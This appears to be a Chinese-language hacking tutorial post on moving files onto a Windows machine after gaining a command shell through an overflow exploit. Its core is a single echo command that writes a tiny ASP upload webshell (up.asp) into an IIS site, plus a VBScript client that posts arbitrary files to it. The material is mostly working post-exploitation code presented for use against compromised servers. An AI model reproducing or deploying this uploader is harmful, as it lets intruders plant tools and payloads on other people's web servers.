文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

发表评论